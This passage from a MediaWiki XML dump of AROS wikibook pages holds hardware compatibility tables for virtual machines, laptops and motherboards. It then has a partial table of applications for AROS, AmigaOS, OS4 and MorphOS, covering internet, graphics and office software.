| QEMU 8.x (&quot;pc&quot; and &quot;q35&quot; machines) || {{Yes|IDE&lt;br/&gt;SATA(AHCI)}} || {{Yes|VESA}} || {{Yes|SB128}} || {{Yes|PCNET32}} || NOT APPLICABLE  || NOT APPLICABLE || &lt;!--Comments--&gt;
|-
|}

==== Laptops ====

{| class=&quot;wikitable&quot; width=&quot;100%&quot;
! width=&quot;20%&quot; |Name 
! width=&quot;5%&quot;  |Storage
! width=&quot;5%&quot; |Gfx
! width=&quot;5%&quot;  |Audio
! width=&quot;5%&quot; |Ethernet
! width=&quot;5%&quot; |Wireless 
! width=&quot;10%&quot;  |Additional hardware
! width=&quot;45%&quot; |Comments
|-
| ACER Aspire One ZG5 || {{Yes|IDE&lt;br/&gt;SATA(IDE)}} || {{Yes|GMA}} || {{Yes|HDAudio}} || {{Yes|RTL8169}} || {{Yes|ATHEROS}}  || NOT APPLICABLE || &lt;!--Comments--&gt;
|-
| Dell Latitude D520 || {{Yes|IDE}} || {{Yes|GMA}} || {{Yes|HDAudio}} || {{Yes|BCM4400}} || {{No|}}  || {{Yes|Atheros AR5BXB63}} || * select Intel Core 2 64-bit version, not Celeron 32-bit version &lt;br/&gt; * replace WiFi card to get wireless working
|-
|}

==== Desktop Systems ====

{| class=&quot;wikitable&quot; width=&quot;100%&quot;
! width=&quot;20%&quot; |Name 
! width=&quot;5%&quot;  |Storage
! width=&quot;5%&quot; |Gfx
! width=&quot;5%&quot;  |Audio
! width=&quot;5%&quot; |Ethernet
! width=&quot;5%&quot; |Wireless 
! width=&quot;10%&quot;  |Additional hardware
! width=&quot;45%&quot; |Comments
|-
| Fujitsu Futro S720 || {{Yes|SATA(AHCI)}} || {{Yes|VESA}} || {{Yes|HDAudio}} || {{Yes|RTL8169}} || NOT APPLICABLE || NOT APPLICABLE || * no 2D/3D acceleration&lt;br/&gt; * use USB ports at back
|-
|}

==== Motherboards ====

{| class=&quot;wikitable&quot; width=&quot;100%&quot;
! width=&quot;20%&quot; |Name 
! width=&quot;5%&quot;  |Storage
! width=&quot;5%&quot; |Gfx
! width=&quot;5%&quot;  |Audio
! width=&quot;5%&quot; |Ethernet
! width=&quot;5%&quot; |Wireless 
! width=&quot;10%&quot;  |Additional hardware
! width=&quot;45%&quot; |Comments
|-
| ASUS P8Z68V LX || {{Yes|SATA(AHCI)}} || {{Yes|VESA}} || {{Yes|HDAudio}}|| {{Yes|RTL8169}} || NOT APPLICABLE  || {{Yes|GeForce 8xxx/9xxx}} || * add external PCIe video card for better performance
|-
| Gigabyte GA-MA770T UD3/UD3P || {{Yes|IDE&lt;br/&gt;SATA(AHCI)}} || NOT APPLICABLE || {{Yes|HDAudio}}|| {{Yes|RTL8169}} || NOT APPLICABLE  || {{Yes|GeForce 8xxx/9xxx}} || * requires external PCIe video card
|-
| ASUS M2N68-AM SE2 || {{Yes|IDE}} || {{Yes|NVIDIA}} || {{Yes|HDAudio}}|| {{Yes|NVNET}} || NOT APPLICABLE  || {{Yes|GeForce 8xxx/9xxx}} || * connecting a disk via SATA connector is not supported at this time &lt;br/&gt; * add external PCIe video card for better performance
|-
| Gigabyte GA-H55M-S2H || {{Yes|IDE&lt;br/&gt;SATA(AHCI)}} || {{Yes|VESA}} || {{Yes|HDAudio}}|| {{Yes|RTL8169}} || NOT APPLICABLE  || {{Yes|GeForce 8xxx/9xxx}} || * add external PCIe video card for better performance
|-
|}

==== Legacy supported hardware ====

{| class=&quot;wikitable&quot; width=&quot;100%&quot;
! width=&quot;20%&quot; |Name 
! width=&quot;5%&quot;  |Storage
! width=&quot;5%&quot; |Gfx
! width=&quot;5%&quot;  |Audio
! width=&quot;5%&quot; |Ethernet
! width=&quot;5%&quot; |Wireless 
! width=&quot;10%&quot;  |Additional hardware
! width=&quot;10%&quot; |EOL
! width=&quot;35%&quot; |Comments
|-
| iMica || {{Yes|IDE}} || {{Yes|GMA}} || {{Yes|HDAudio}}|| {{Yes|RTL8169}} || NOT APPLICABLE  || NOT APPLICABLE || 2026-12-31 || 
|-
| Gigabyte GA-MA770 UD3 || {{Yes|IDE&lt;br/&gt;SATA(IDE)}} || NOT APPLICABLE || {{Yes|HDAudio}}|| {{Yes|RTL8169}} || NOT APPLICABLE  || {{Yes|GeForce 8xxx/9xxx}} || 2026-12-31 || * requires external PCIe video card
|-
|}

=== Recommended hardware (64-bit) ===

[[#top|...to the top]]

Recommended hardware is hardware that has been tested with latest release of AROS and is relatively easy to purchase second hand (ie. ebay). This hardware also comes with commitment that compatibility will be maintained with each future release.

==== Virtual Hardware ====

{| class=&quot;wikitable&quot; width=&quot;100%&quot;
! width=&quot;20%&quot; |Name 
! width=&quot;5%&quot;  |Storage
! width=&quot;5%&quot; |Gfx
! width=&quot;5%&quot;  |Audio
! width=&quot;5%&quot; |Ethernet
! width=&quot;5%&quot; |Wireless 
! width=&quot;10%&quot;  |Additional hardware
! width=&quot;45%&quot; |Comments
|-
| VirtualBox 7.x (Other/Unknown (64-bit) template) || {{Yes|IDE&lt;br/&gt;SATA(AHCI)}} || {{Yes|VMWARESVGA}} || {{Yes|HDAudio}} || {{Yes|PCNET32&lt;br/&gt;E1000}} || NOT APPLICABLE  || NOT APPLICABLE || * No accelerated 3D support
|-
| VMware 16+ (Other64 template) || {{Yes|IDE&lt;br/&gt;SATA(AHCI)}} || {{Yes|VMWARESVGA}} || {{Yes|SB128}} || {{Yes|E1000}} || NOT APPLICABLE  || NOT APPLICABLE || * No accelerated 3D support
|-
| QEMU 8.x (&quot;pc&quot; and &quot;q35&quot; machines) || {{Yes|IDE&lt;br/&gt;SATA(AHCI)}} || {{Yes|VMWARESVGA}} || {{Yes|SB128}} || {{Yes|PCNET32}} || NOT APPLICABLE  || NOT APPLICABLE || * No accelerated 3D support
|-
|}

==== Motherboards ====

AROS 64-bit will work on most of [https://en.wikipedia.org/wiki/LGA_1155 LGA 1155] and [https://en.wikipedia.org/wiki/LGA_1150 LGA 1150] boards. It will also work with newer hardware - see complete HCL list above.

Boards below are '''certified'''. If you can't get the exact board, try a variant of that board with the same chipset.

{| class=&quot;wikitable&quot; width=&quot;100%&quot;
! width=&quot;20%&quot; |Name 
! width=&quot;5%&quot;  |Storage
! width=&quot;5%&quot; |Gfx
! width=&quot;5%&quot;  |Audio
! width=&quot;5%&quot; |Ethernet
! width=&quot;5%&quot; |Wireless 
! width=&quot;10%&quot;  |Additional hardware
! width=&quot;45%&quot; |Comments
|-
| ASUS P8Z68V LX&lt;br&gt;ASUS P8Z68-M PRO || {{Yes|SATA(AHCI)}} || {{Yes|VESA}} || {{Yes|HDAudio}}|| {{Yes|RTL8169}} || NOT APPLICABLE  || {{Yes|GeForce GTX 7xx/9xx}} || * add external PCIe video card for better performance 
|-
| ASUS H81M-K || {{Yes|SATA(AHCI)}} || {{Yes|VESA}} || {{Yes|HDAudio}}|| {{Yes|RTL8169}} 
|NOT APPLICABLE|| {{Yes|GeForce GTX 7xx/9xx}} 
|* add external PCIe video card for better performance
|-
| Gigabyte GA-H81M-S2V || {{Yes|SATA(AHCI)}} || {{Yes|VESA}} || {{Yes|HDAudio}}|| {{Yes|RTL8169}} 
|NOT APPLICABLE|| {{Yes|GeForce GTX 7xx/9xx}} 
|* add external PCIe video card for better performance
|}

==References==

[[#top|...to the top]]

{{reflist}}
{{BookCat}}</text>
      <sha1>64q74lwbji3f36jq7b4gmqqimq58kuw</sha1>
    </revision>
  </page>
  <page>
    <title>Aros/User/Applications</title>
    <ns>0</ns>
    <id>237399</id>
    <revision>
      <id>4670588</id>
      <parentid>4670409</parentid>
      <timestamp>2026-09-17T07:07:25Z</timestamp>
      <contributor>
        <username>Jeff1138</username>
        <id>301139</id>
      </contributor>
      <minor />
      <origin>4670588</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="241381" sha1="ib6wximndvzh7v1oqazf34p3oc03mt9" xml:space="preserve">
==Introduction==


[[#Graphical Image Editing Art]]
[[#Office Application]]
[[#Audio]]

[[#Misc Application]]
[[#Games &amp; Emulation]]

[[#Application Guides]]

[[#top|...to the top]]


[[#top|...to the top]]

Most apps can be opened on the Workbench (aka publicscreen pubscreen) which is the default display option but can offer a custom one set to your configurations (aka custom screen mode promotion). These custom ones tend to stack so the possible use of A-M/A-N method of switching between full screens and the ability to pull down screens as well 

If you are interested in creating or porting new software, see [http://en.wikibooks.org/wiki/Aros/Developer/Docs here]

{|  class=&quot;wikitable sortable&quot; 
|- 
!width:30%;|Internet Applications 
!width:10%;|AROS(x86)
!width:10%;|Commodore-Amiga OS 3.1 (68k)
!width:10%;|Hyperion OS4(PPC)
!width:10%;|MorphOS(PPC)
|-
|&lt;!--Sub Menu--&gt;Web Online Browser [], 
|&lt;!--AROS--&gt;[https://archives.arosworld.org/?function=showfile&amp;file=network/browser/ Amelinium], Odyssey 2.0, [https://www.arosworld.org/infusions/forum/viewthread.php?thread_id=1175&amp;highlight=odyssey&amp;rowstart=100 Odyssey 3.0], [], 
|&lt;!--Amiga OS--&gt;[https://aminet.net/comm/www Amelinium], [https://blog.alb42.de/programs/amifox/ amifox] with [https://github.com/alb42/wrp wrp server], IBrowse*, [https://github.com/zapek/Voyager Voyager], [https://github.com/amigazen/aweb3/ AWeb 3.6 src], [https://github.com/matjam/aweb AWeb Src], [http://aminet.net/package/comm/www/NetSurf-m68k-sources Netsurf], [], 
|&lt;!--AmigaOS4--&gt;[ Odyssey OWB], [ Timberwolf (Firefox port 2011)], [http://amigaworld.net/modules/newbb/viewtopic.php?forum=32&amp;topic_id=32847 OWB-mui], [http://strohmayer.org/owb/ OWB-Reaction], IBrowse*, [http://os4depot.net/index.php?function=showfile&amp;file=network/browser/aweb.lha AWeb], Voyager, [http://www.os4depot.net/index.php?function=browse&amp;cat=network/browser Netsurf], 
|&lt;!--MorphOS--&gt;Wayfarer, [http://fabportnawak.free.fr/owb/ Odyssey OWB], [ Netsurf], IBrowse*, AWeb, [], 
|-
|&lt;!--Sub Menu--&gt;YouTube, Dailymotion website downloading videos audio [https://github.com/yt-dlp/yt-dlp yt-dlp], [https://clipgrab.org/ clipgrab],  
|&lt;!--AROS--&gt;[], [https://blog.alb42.de/amitube/ Amitube], 
|&lt;!--Amiga OS--&gt;[https://blog.alb42.de/amitube/ Amitube], [ smtube], 
|&lt;!--AmigaOS4--&gt;[https://blog.alb42.de/amitube/ Amitube], getVideo, Tubexx, [https://github.com/walkero-gr/aiostreams aiostreams], 
|&lt;!--MorphOS--&gt;[ ytsearch], [https://blog.alb42.de/amitube/ Amitube], [http://morphos.lukysoft.cz/en/vypis.php?kat=5 getVideo], Tubexx 
|-
|&lt;!--Sub Menu--&gt;Old style E-mailing SMTP POP3 IMAP based 
|&lt;!--AROS--&gt;Emailinium, [http://archives.arosworld.org/index.php?function=browse&amp;cat=network/email SimpleMail], [http://sourceforge.net/projects/simplemail/files/ src], [https://github.com/jens-maus/yam YAM] 
|&lt;!--Amiga OS--&gt;Emailinium, [http://sourceforge.net/projects/simplemail/files/ SimpleMail], [https://github.com/jens-maus/yam YAM]
|&lt;!--AmigaOS4--&gt;SimpleMail, YAM, 
|&lt;!--MorphOS--&gt; SimpleMail, YAM
|-
|&lt;!--Sub Menu--&gt;IRC, ICB, 
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=network/chat WookieChat], [https://sourceforge.net/projects/wookiechat/ Wookiechat src], [http://archives.arosworld.org/index.php?function=browse&amp;cat=network/chat AiRcOS], Jabberwocky, 
|&lt;!--Amiga OS--&gt;[https://github.com/charabaruk/WookieChat Wookiechat], AmIRC 
|&lt;!--AmigaOS4--&gt;Wookiechat 
|&lt;!--MorphOS--&gt;[http://morphos.lukysoft.cz/en/vypis.php?kat=5 Wookiechat], [http://morphos.lukysoft.cz/en/vypis.php?kat=5 AmIRC], 
|-
|&lt;!--Sub Menu--&gt;Instant Messaging IM like [https://github.com/BlitterStudio/amidon Hollywood lang based Mastodon client], BlueSky AT protocol, Facebook(TM), Twitter X (TM), Bitlbee IRC Gateway and others 
|&lt;!--AROS--&gt;[https://github.com/kaffeine1/telegram-amiga telegram-amiga], [http://archives.arosworld.org/index.php?function=browse&amp;cat=network/chat jabberwocky], 
|&lt;!--Amiga OS--&gt;[http://amitwitter.sourceforge.net/ AmiTwitter], CLIMM, SabreMSN, [https://sourceforge.net/projects/ajabberwocky/ jabberwocky], 
|&lt;!--AmigaOS4--&gt;[http://amitwitter.sourceforge.net/ AmiTwitter], SabreMSN,
|&lt;!--MorphOS--&gt;[http://amitwitter.sourceforge.net/ AmiTwitter], [http://morphos.lukysoft.cz/en/vypis.php?kat=5 PolyglotNG], SabreMSN,
|-
|&lt;!--Sub Menu--&gt;Torrents 
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=network/p2p ArTorr], 
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;CTorrent, Transmission 
|&lt;!--MorphOS--&gt;MLDonkey, Beehive, [http://morphos.lukysoft.cz/en/vypis.php?kat=5 Transmission], CTorrent, 
|-
|&lt;!--Sub Menu--&gt;FTP 
|&lt;!--AROS--&gt;[https://github.com/BlitterStudio/dopus5 Dopus5 Magellan], MarranoFTP, [https://aminet.net/package/comm/tcp/wput-0.3.4c.i386-aros wput i386 c src]
|&lt;!--Amiga OS--&gt;[https://github.com/BlitterStudio/dopus5 Dopus5 Magellan], [http://aminet.net/package/comm/tcp/AmiFTP AmiFTP], AmiTradeCenter, ncFTP, [https://aminet.net/package/comm/tcp/sana2-tftpclient sana2 tftpclient c src]
|&lt;!--AmigaOS4--&gt;[https://github.com/BlitterStudio/dopus5 Dopus5 Magellan], 
|&lt;!--MorphOS--&gt;[https://github.com/BlitterStudio/dopus5 Dopus5 Magellan], [http://morphos.lukysoft.cz/en/vypis.php?kat=5 Pftp], [http://aminet.net/package/comm/tcp/AmiFTP-1.935-OS4 AmiFTP], 
|-
|&lt;!--Sub Menu--&gt;WYSIWYG Web Site Editor
|&lt;!--AROS--&gt; 
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Internet Radio Streaming Audio [http://www.gnu.org/software/gnump3d/ gnump3d], [http://www.icecast.org/ Icecast2] Server (Broadcast) and Client (Listen), [ mpd], [http://darkice.sourceforge.net/ DarkIce], [http://www.dyne.org/software/muse/ Muse], 
|&lt;!--AROS--&gt;[https://archives.arosworld.org/index.php?function=browse&amp;cat=audio/misc], Mplayer (Icecast Client only), 
|&lt;!--Amiga OS--&gt;[https://github.com/sandlbn/TuneFinder TuneFinder C Src], [https://github.com/sandlbn/TuneFinderMUI TuneFinderMUI], [http://amigazeux.net/anr/ AmiNetRadio], [https://github.com/boingball/MintAMP MintAMP], [], 
|&lt;!--AmigaOS4--&gt;[http://www.tunenet.co.uk/ Tunenet], 
|&lt;!--MorphOS--&gt;Mplayer, AmiNetRadio, 
|-
|&lt;!--Sub Menu--&gt;VoIP (Voice over IP) with SIP Client (Session Initiation Protocol) or Asterisk IAX2 Clients Softphone (skype like) 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;AmiPhone with Speak Freely, 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Weather Forecast 
|&lt;!--AROS--&gt;[http://sourceforge.net/projects/zunetools/files/ WeatherBar], [http://archives.arosworld.org/index.php?function=browse&amp;cat=utility/workbench AWeather], []
|&lt;!--Amiga OS--&gt;[http://amigazeux.net/wetter/ Wetter], [https://github.com/emartisoft/AmiWeatherForecasts AmiWeatherForecasts src], 
|&lt;!--AmigaOS4--&gt;[http://os4depot.net/?function=showfile&amp;file=utility/workbench/flipclock.lha FlipClock], 
|&lt;!--MorphOS--&gt;[http://amigazeux.net/wetter/ Wetter], 
|-
|&lt;!--Sub Menu--&gt;Street Road Maps Route Planning GPS Tracking  
|&lt;!--AROS--&gt;[https://blog.alb42.de/programs/muimapparium/ MuiMapparium] [https://build.alb42.de/ Build of MuiMapp versions], 
|&lt;!--Amiga OS--&gt;AmiAtlas*, UKRoutePlus*, [http://blog.alb42.de/ AmOSM], 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;[http://blog.alb42.de/programs/mapparium/ Mapparium], 
|-
|&lt;!--Sub Menu--&gt;Clock and Date setting from the internet (either ntp or websites) [https://www.timeanddate.com/worldclock/ World Clock], [http://www.time.gov/ NIST], [], 
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=network/misc ntpsync],  
|&lt;!--Amiga OS--&gt;ntpsync 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Newsgroups
|&lt;!--AROS--&gt; 
|&lt;!--Amiga OS--&gt;[http://newscoaster.sourceforge.net/ Newscoaster], [https://github.com/jens-maus/newsrog NewsRog], [ WorldNews], 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;RSS 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;[https://github.com/Team-Boingo/AmiRSS AmiRSS src]
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;AI
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;[https://github.com/murinsel/AmigaAI Claude], [https://github.com/geekychris/amiga_mcp AI on host machine], [], 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;BBS
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt; 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt; 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|}

&lt;nowiki&gt;*&lt;/nowiki&gt; Commercial product.


==Graphical Image Editing Art==
{|  class=&quot;wikitable sortable&quot; 
|- 
!width:30%;|Image Editing
!width:10%;|AROS(x86)
!width:10%;|Commodore-Amiga OS 3.1(68k)
!width:10%;|Hyperion OS4(PPC)
!width:10%;|MorphOS(PPC)
|-
|&lt;!--Sub Menu--&gt;Pixel Raster Artwork [https://github.com/LibreSprite/LibreSprite LibreSprite based on GPL aseprite], [https://github.com/abetusk/hsvhero hsvhero], [], 
|&lt;!--AROS--&gt;[https://sourceforge.net/projects/zunetools/files/ZunePaint/ ZunePaint], [http://archives.arosworld.org/index.php?function=browse&amp;cat=graphics/edit LunaPaint], [http://archives.arosworld.org/index.php?function=browse&amp;cat=graphics/edit GrafX2], [ LodePaint needs OpenGL], 
|&lt;!--Amiga OS--&gt;[http://www.amigaforever.com/classic/download.html PPaint], GrafX2, [https://github.com/grovdata/Amiga_Sources/blob/master/software.md DeluxePaint], [http://www.amiforce.de/perfectpaint/perfectpaint.php PerfectPaint], Zoetrope, Brilliance2*, 
|&lt;!--AmigaOS4--&gt;[http://www.os4depot.net/index.php?function=browse&amp;cat=graphics/edit LodePaint], GrafX2, 
|&lt;!--MorphOS--&gt;Sketch, Pixel*, GrafX2, [http://morphos.lukysoft.cz/en/vypis.php?kat=3 LunaPaint]
|-
|&lt;!--Sub Menu--&gt;Image viewing 
|&lt;!--AROS--&gt;[http://sourceforge.net/projects/zunetools/files/ ZuneView], [http://archives.arosworld.org/index.php?function=browse&amp;cat=graphics/viewer LookHere], [http://archives.arosworld.org/index.php?function=browse&amp;cat=graphics/viewer LoView], [http://archives.arosworld.org/index.php?function=browse&amp;cat=graphics/viewer PicShow] , [http://amigaworld.net/modules/newbb/viewtopic.php?mode=viewtopic&amp;topic_id=31400&amp;forum=32&amp;start=80&amp;viewmode=flat&amp;order=0#583458 Picture Album], 
|&lt;!--Amiga OS--&gt;PicShow, PicView, Photoalbum,
|&lt;!--AmigaOS4--&gt;WarpView, PicShow, flPhoto, Thumbs, [http://amigaworld.net/modules/newbb/viewtopic.php?mode=viewtopic&amp;topic_id=31400&amp;forum=32&amp;start=80&amp;viewmode=flat&amp;order=0#583458 Picture Album], 
|&lt;!--MorphOS--&gt;[http://morphos.lukysoft.cz/en/vypis.php?kat=3 ShowGirls], [http://amigaworld.net/modules/newbb/viewtopic.php?mode=viewtopic&amp;topic_id=31400&amp;forum=32&amp;start=80&amp;viewmode=flat&amp;order=0#583458 Picture Album]
|-
|&lt;!--Sub Menu--&gt;Photography retouching / Image Manipulation like Photoshop(tm)  
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=graphics/edit RNOEffects], 
|&lt;!--Amiga OS--&gt;[ Tecsoft Video Paint aka TVPaint], Photogenics*, ArtEffect*, ImageFX*, XiPaint, fxPaint, ImageMasterRT, Opalpaint, 
|&lt;!--AmigaOS4--&gt;WarpView, flPhoto, [http://www.os4depot.net/index.php?function=browse&amp;cat=graphics/edit Photocrop]
|&lt;!--MorphOS--&gt;[http://morphos.lukysoft.cz/en/vypis.php?kat=3 ShowGirls], ImageFX*, 
|-
|&lt;!--Sub Menu--&gt;Manage RAW picture folder galleries like Darktable, RAWtherapy, etc 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Graphic Format Converter - ICC profile support sRGB, Adobe RGB, XYZ and linear RGB 
|&lt;!--AROS--&gt; 
|&lt;!--Amiga OS--&gt;GraphicsConverter, ImageStudio, [http://www.coplabs.org/artpro.html ArtPro]
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Thumbnail Generator [], 
|&lt;!--AROS--&gt;[http://sourceforge.net/projects/zunetools/files/ ZuneView], [http://archives.arosworld.org/index.php?function=browse&amp;cat=utility/shell Thumbnail Generator]
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Icon Editor
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=graphics/iconedit Archives], [http://archives.arosworld.org/index.php?function=browse&amp;cat=utility/workbench Icon Toolbox], 
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;[http://www.os4depot.net/index.php?function=browse&amp;cat=graphics/iconedit IconEditor]
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;2D Pixel Art Animation 
|&lt;!--AROS--&gt;Lunapaint
|&lt;!--Amiga OS--&gt;PPaint, AnimatED, Scala*, GoldDisk MovieSetter*, Walt Disney's Animation Studio*, ProDAD*, [https://github.com/historicalsource/DeluxePaint DeluxePaint src], Brilliance
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;[http://morphos.lukysoft.cz/en/vypis.php?kat=3 Titler] 
|-
|&lt;!--Sub Menu--&gt;2D SVG based MovieSetter type 
|&lt;!--AROS--&gt; 
|&lt;!--Amiga OS--&gt;MovieSetter*, Fantavision*
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Morphing 
|&lt;!--AROS--&gt;[ GLMorph]
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;2D Cad (qcad-&gt;LibreCAD, etc.) 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;Xcad, MaxonCAD
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;3D Cad like FreeCad, BRL-CAD, OpenSCAD, AvoCADo, etc. using dxf, obj (vertices), blend, 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;XCad3d*, DynaCADD*, [https://aminet.net/package/gfx/3d/Cycas178_EN Cycas]*, 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;3D Model Rendering of glft (json) gbl (png jpg), usdz (USD files with materials, textures, and animations), FBX Filmbox is a proprietary Autodesk format, 
|&lt;!--AROS--&gt;POV-Ray
|&lt;!--Amiga OS--&gt;[http://www.discreetfx.com./amigaproducts.html CINEMA 4D]*, POV-Ray, Lightwave3D*, Real3D*, Caligari24*, Reflections/Monzoom*, [https://github.com/privatosan/RayStorm Raystorm src], Tornado 3D, [https://github.com/AlphaPixel/Eric-Graham-1987-Juggler-Raytracer-1.0 Eric-Graham-1987-Juggler-Raytracer-1.0]
|&lt;!--AmigaOS4--&gt;Blender, POV-Ray, Yafray
|&lt;!--MorphOS--&gt;Blender, POV-Ray, Yafray
|-
|&lt;!--Sub Menu--&gt;3D Format Converter [], [], 
|&lt;!--AROS--&gt;[https://archives.arosworld.org/?function=showfile&amp;file=graphics/convert/ 3doc.i386-aros], [], 
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;[http://www.os4depot.net/index.php?function=showfile&amp;file=graphics/convert/ivcon.lha IVCon]
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Screen grabbing display 
|&lt;!--AROS--&gt;[ Screengrabber], [http://archives.arosworld.org/index.php?function=browse&amp;cat=utility/misc snapit], [http://archives.arosworld.org/index.php?function=browse&amp;cat=video/record screen recorder], []
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Grab graphics music from apps [https://github.com/Malvineous/ripper6 ripper6], [],
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt; 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt; 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|}

&lt;nowiki&gt;*&lt;/nowiki&gt; Commercial product.

[[#top|...to the top]]

==Office Application==
{|  class=&quot;wikitable sortable&quot; 
|- 
!width:30%;|Office
!width:10%;|AROS (x86)
!width:10%;|[http://en.wikipedia.org/wiki/Amiga_software Commodore-Amiga OS 3.1] (68k)
!width:10%;|[http://en.wikipedia.org/wiki/AmigaOS_4 Hyperion OS4] (PPC)
!width:10%;|[http://en.wikipedia.org/wiki/MorphOS MorphOS] (PPC)
|-
|&lt;!--Sub Menu--&gt;Office Suite 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;[ Softwood Final Office], [ Wordworth Office], [ Digita Office],  [ The Works!], [ Europress Mini Office], [], [ Papyrus Office Demo], 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;[ Papyrus Office], 
|-
|&lt;!--Sub Menu--&gt;Word-processing 
|&lt;!--AROS--&gt;[https://finalwriter.godaddysites.com/ Final Writer 7*], [https://www.arosworld.org/infusions/forum/viewthread.php?thread_id=1995&amp;rowstart=20&amp;pid=12668#post_12668 Slovo], [https://github.com/sodero/MUI-Vim/releases MUI-Vim], [https://archives.arosworld.org/index.php?function=browse&amp;cat=office/wordprocessing Cinnamon Writer], [], 
|&lt;!--AmigaOS--&gt;[ Softwood FinalCopy II*], Haage AmigaWriter*, Digita WordWorth*, Softwood FinalWriter*, Micro-Systems Excellence 3*, Arnor Protext, Rashumon, [ InterWord], [ KindWords], [WordPerfect], [ New Horizons Flow], [ CygnusEd Pro], [ Micro-systems Scribble], 
|&lt;!--AmigaOS4--&gt;AbiWord, [ CinnamonWriter], 
|&lt;!--MorphOS--&gt;[ Cinnamon Writer], [http://www.meta-morphos.org/viewtopic.php?topic=1246&amp;forum=53 scriba], [http://morphos.lukysoft.cz/en/index.php Papyrus Office], 
|-
|&lt;!--Sub Menu--&gt;Spreadsheets 
|&lt;!--AROS--&gt;[https://blog.alb42.de/programs/leu/ Leu], [https://archives.arosworld.org/index.php?function=browse&amp;cat=office/spreadsheet ], 
|&lt;!--AmigaOS--&gt;[https://aminet.net/package/biz/spread/ignition-src Ignition Src 1.3], [MaxiPlan 500 Plus], [OXXI Plan/IT v2.0 Speadsheet], [ Superplan], [ Creative Developments TurboCalc], [ ProCalc], [ InterSpread], [Digita DGCalc], [ Gold Disk Advantage], [ Micro-systems Analyze!]
|&lt;!--AmigaOS4--&gt;Gnumeric, [https://ignition-amiga.sourceforge.net/ Ignition], 
|&lt;!--MorphOS--&gt;[ ignition], [http://morphos.lukysoft.cz/en/vypis.php Papyrus Office], 
|-
|&lt;!--Sub Menu--&gt;Presentations
|&lt;!--AROS--&gt;[http://www.hollywoood-mal.com/ Hollywood]*, 
|&lt;!--Amiga OS--&gt;[http://www.hollywoood-mal.com/ Hollywood]*, [https://github.com/evaneykelen/mediapoint-amiga MediaPoint C and asm], PointRider, Scala*, 
|&lt;!--Amiga OS4--&gt;[http://www.hollywoood-mal.com/ Hollywood]*, PointRider 
|&lt;!--MorphOS--&gt;[http://www.hollywoood-mal.com/ Hollywood]*, PointRider
|-
|&lt;!--Sub Menu--&gt;Databases 
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=office/database BeeBase], 
